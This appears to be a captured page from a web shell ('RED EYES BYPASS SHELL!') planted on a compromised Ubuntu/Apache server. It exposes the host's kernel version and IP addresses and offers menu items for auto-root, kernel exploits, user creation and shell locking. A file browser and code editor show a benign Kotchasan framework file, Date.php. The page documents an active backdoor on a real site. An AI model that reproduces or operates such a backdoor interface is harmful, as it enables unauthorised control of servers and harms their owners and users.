Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Date.php
<?php /** * @filesource Kotchasan/Date.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * คลาสจัดการเกี่ยวกับวันที่และเวลา * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Date { /** * @var mixed */ private static $lang; /** * class constructer */ public function __construct() { self::$lang = Language::getItems(array( 'DATE_SHORT', 'DATE_LONG', 'MONTH_SHORT', 'MONTH_LONG', 'YEAR_OFFSET' )); } /** * ฟังก์ชั่น คำนวนความแตกต่างของวัน (เช่น อายุ) * คืนค่า จำนวนวัน(ติดลบได้) ปี เดือน วัน [days, year, month, day] ที่แตกต่าง * * @assert (mktime(0, 0, 0, 2, 1, 2016), mktime(0, 0, 0, 3, 1, 2016)) [==] array('days' => 29, 'year' => 0,'month' => 1, 'day' => 0) * @assert ('2016-3-1', '2016-2-1') [==] array('days' => -29, 'year' => 0,'month' => 1, 'day' => 0) * * @param string|int $begin_date วันที่เริ่มต้นหรือวันเกิด (Unix timestamp หรือ วันที่ รูปแบบ YYYY-m-d) * @param istring|int $end_date วันที่สิ้นสุดหรือวันนี้ (Unix timestamp หรือ วันที่ รูปแบบ YYYY-m-d) * * @return array */ public static function compare($begin_date, $end_date) { $diff = date_diff(date_create($begin_date), date_create($end_date)); return array( 'days' => $diff->invert == 1 ? -$diff->days : $diff->days, 'year' => $diff->y, 'month' => $diff->m, 'day' => $diff->d ); } /** * คืนค่าเวลาที่แตกต่าง หน่วย msec * * @assert ('08:00', '09:00') [==] 3600 * * @param $firstTime * @param $lastTime * * @return int */ public static function timeDiff($firstTime, $lastTime) { $firstTime = strtotime($firstTime); $lastTime = strtotime($lastTime); $timeDiff = $lastTime - $firstTime; return $timeDiff; } /** * แปลงตัวเลขเป็นชื่อวันตามภาษาที่ใช้งานอยู่ * คืนค่า อาทิตย์...6 เสาร์ * * @assert (0) [==] 'อา.' * @assert (0, false) [==] 'อาทิตย์' * * @param int $date 0-6 * @param bool $short_date true (default) วันที่แบบสั้น เช่น อ., false ชื่อเดือนแบบเต็ม เช่น อาทิตย์ * * @return string */ public static function dateName($date, $short_date = true) { // create class if (!isset(self::$lang)) { new static(); } $var = $short_date ? self::$lang['DATE_SHORT'] : self::$lang['DATE_LONG']; return isset($var[$date]) ? $var[$date] : ''; } /** * ฟังก์ชั่นแปลงเวลาเป็นวันที่ตามรูปแบบที่กำหนด สามารถคืนค่าวันเดือนปี พศ. ได้ ขึ้นกับไฟล์ภาษา * คืนค่า วันที่และเวลาตามรูปแบบที่กำหนดโดย $format * * @assert (0, 'y-m-d H:i:s') [==] date('y-m-d H:i:s') * @assert (null) [==] '' * @assert (1454259600, 'Y-m-d H:i:s') [==] '2559-02-01 00:00:00' * * @param int|string $time int เวลารูปแบบ Unix timestamp, string เวลารูปแบบ Y-m-d หรือ Y-m-d H:i:s ถ้าไม่ระบุหรือระบุ หมายถึงวันนี้ * @param string $format รูปแบบของวันที่ที่ต้องการ (ถ้าไม่ระบุจะใช้รูปแบบที่มาจากระบบภาษา DATE_FORMAT) * * @return string */ public static function format($time = 0, $format = null) { if ($time === 0) { $time = time(); } elseif (is_string($time)) { if (preg_match('/^[0-9]+$/', $time)) { $time = (int) $time; } else { $time = strtotime($time); } } elseif (!is_int($time)) { return ''; } // create class if (!isset(self::$lang)) { new static(); } $format = empty($format) ? 'DATE_FORMAT' : $format; $format = Language::get($format); if (preg_match_all('/(.)/u', $format, $match)) { $ret = ''; foreach ($match[0] as $item) { switch ($item) { case ' ': case ':': case '/': case '-': case '.': case ',': $ret .= $item; break; case 'l': $ret .= self::$lang['DATE_SHORT'][date('w', $time)]; break; case 'L': $ret .= self::$lang['DATE_LONG'][date('w', $time)]; break; case 'M': $ret .= self::$lang['MONTH_SHORT'][date('n', $time)]; break; case 'F': $ret .= self::$lang['MONTH_LONG'][date('n', $time)]; break; case 'Y': $ret .= (int) date('Y', $time) + (int) self::$lang['YEAR_OFFSET']; break; default: $ret .= trim($item) == '' ? ' ' : date($item, $time); break; } } } else { $ret = date($format, $time); } return $ret; } /** * แปลงตัวเลขเป็นชื่อเดือนตามภาษาที่ใช้งานอยู่ * คืนค่า 1 มกราคม...12 ธันวาคม * * @assert (1) [==] 'ม.ค.' * @assert (1, false) [==] 'มกราคม' * * @param int $month 1-12 * @param bool $short_month true (default) ชื่อเดือนแบบสั้น เช่น มค., false ชื่อเดือนแบบเต็ม เช่น มกราคม * * @return string */ public static function monthName($month, $short_month = true) { // create class if (!isset(self::$lang)) { new static(); } $var = $short_month ? self::$lang['MONTH_SHORT'] : self::$lang['MONTH_LONG']; return isset($var[$month]) ? $var[$month] : ''; } /** * แยกวันที่ออกเป็น array * คืนค่า array(y, m, d, h, i, s) หรือ array(y, m, d) หากเป้นวันที่อย่างเดียว หรือ false หากไม่ใช่วันที่ * * @param string $date * * @return array|bool */ public static function parse($date) { if (preg_match('/([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2})(\s([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2}))?/', $date, $match)) { if (isset($match[4])) { return array('y' => $match[1], 'm' => $match[2], 'd' => $match[3], 'h' => $match[5], 'i' => $match[6], 's' => $match[7]); } else { return array('y' => $match[1], 'm' => $match[2], 'd' => $match[3]); } } return false; } }
Close